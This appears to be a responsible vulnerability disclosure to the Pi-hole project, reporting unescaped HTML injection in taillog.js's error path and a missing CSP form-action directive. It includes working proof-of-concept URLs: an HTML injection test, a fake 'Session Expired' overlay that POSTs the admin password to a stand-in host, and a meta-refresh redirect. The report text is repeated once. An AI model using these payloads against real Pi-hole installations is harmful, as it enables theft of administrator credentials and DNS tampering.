Hi Team,
please see the vulnerability details below. Please let me know if there are any questions or remarks. Thank you for your work on the pi-hole project.
Summary
A reflected DOM-based XSS vulnerability in taillog.js allows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. The file query parameter is interpolated into an innerHTML assignment without escaping. Because the Content-Security-Policy is missing the form-action directive, injected <form> elements can exfiltrate credentials to an external origin.
Details
In scripts/js/taillog.js lines 99–101, when the file query parameter fails an allowlist check, the raw attacker-controlled value is placed directly into innerHTML:
if (!allowedFileParams.includes(queryParams.file)) {
const errorMessage = `Invalid file parameter: ${queryParams.file}. …`;
outputElement.innerHTML = `<div><em class="text-danger">*** Error: ${errorMessage} ***</em></div>`;
return;
}
The allowlist (["dnsmasq", "ftl", "webserver"]) correctly gates the success path, but the error path echoes the rejected value into the DOM without calling utils.escapeHtml().
The server's CSP (script-src 'self') blocks inline JavaScript. However, the CSP is missing form-action, so injected <form action="https://attacker.com"> elements can POST data to any origin. Combined with style-src 'unsafe-inline', this enables a convincing credential-phishing overlay.
PoC
Prerequisites: Pi-hole Web v6.4.1; victim must be logged in (valid sid cookie).
1. HTML injection proof:
https://<pihole>/admin/taillog?file=<h1 style="color:red;font-size:60px">INJECTED</h1>
A large red "INJECTED" heading renders inside the admin page, proving arbitrary HTML is interpreted.
2. Credential phishing (exploits missing form-action CSP directive):
https://<pihole>/admin/taillog?file=<style>.po{position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.85);z-index:99999;display:flex;align-items:center;justify-content:center}</style><div class="po"><form action="https://example.com/steal" method="POST" style="background:white;padding:30px;border-radius:8px;width:350px;text-align:center;box-sizing:border-box;font-family:sans-serif"><h3 style="color:black;margin:0 0 8px">Session Expired</h3><p style="color:gray;margin:0 0 15px;font-size:14px">Please re-enter your Pi-hole password</p><input name="password" type="password" placeholder="Password" style="display:block;width:100%;padding:10px;margin:0 0 12px;font-size:14px;box-sizing:border-box;border:1px solid gray;border-radius:4px"><input type="submit" value="Log In" style="display:block;width:100%;padding:10px;background:blue;color:white;border:none;font-size:14px;cursor:pointer;border-radius:4px;box-sizing:border-box"></form></div>
A full-viewport overlay renders a "Session Expired" login form. Submitted credentials POST to example.com.
Screenshot:

3. Open redirect:
https://<pihole>/admin/taillog?file=<meta http-equiv="refresh" content="0;url=https://example.com">
The browser immediately redirects to example.com.
Impact
Reflected XSS / HTML injection enabling credential phishing. Any authenticated Pi-hole administrator who clicks a crafted link is affected. The attacker requires no authentication. While CSP prevents direct JavaScript execution, the missing form-action directive allows credential theft via injected forms, and <meta http-equiv="refresh"> enables open redirects. Successful exploitation yields the admin password, enabling DNS configuration changes.
Hi Team,
please see the vulnerability details below. Please let me know if there are any questions or remarks. Thank you for your work on the pi-hole project.
Summary
A reflected DOM-based XSS vulnerability in
taillog.jsallows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. Thefilequery parameter is interpolated into aninnerHTMLassignment without escaping. Because the Content-Security-Policy is missing theform-actiondirective, injected<form>elements can exfiltrate credentials to an external origin.Details
In
scripts/js/taillog.jslines 99–101, when thefilequery parameter fails an allowlist check, the raw attacker-controlled value is placed directly intoinnerHTML:The allowlist (
["dnsmasq", "ftl", "webserver"]) correctly gates the success path, but the error path echoes the rejected value into the DOM without callingutils.escapeHtml().The server's CSP (
script-src 'self') blocks inline JavaScript. However, the CSP is missingform-action, so injected<form action="https://attacker.com">elements can POST data to any origin. Combined withstyle-src 'unsafe-inline', this enables a convincing credential-phishing overlay.PoC
Prerequisites: Pi-hole Web v6.4.1; victim must be logged in (valid
sidcookie).1. HTML injection proof:
A large red "INJECTED" heading renders inside the admin page, proving arbitrary HTML is interpreted.
2. Credential phishing (exploits missing
form-actionCSP directive):A full-viewport overlay renders a "Session Expired" login form. Submitted credentials POST to

example.com.Screenshot:
3. Open redirect:
The browser immediately redirects to
example.com.Impact
Reflected XSS / HTML injection enabling credential phishing. Any authenticated Pi-hole administrator who clicks a crafted link is affected. The attacker requires no authentication. While CSP prevents direct JavaScript execution, the missing
form-actiondirective allows credential theft via injected forms, and<meta http-equiv="refresh">enables open redirects. Successful exploitation yields the admin password, enabling DNS configuration changes.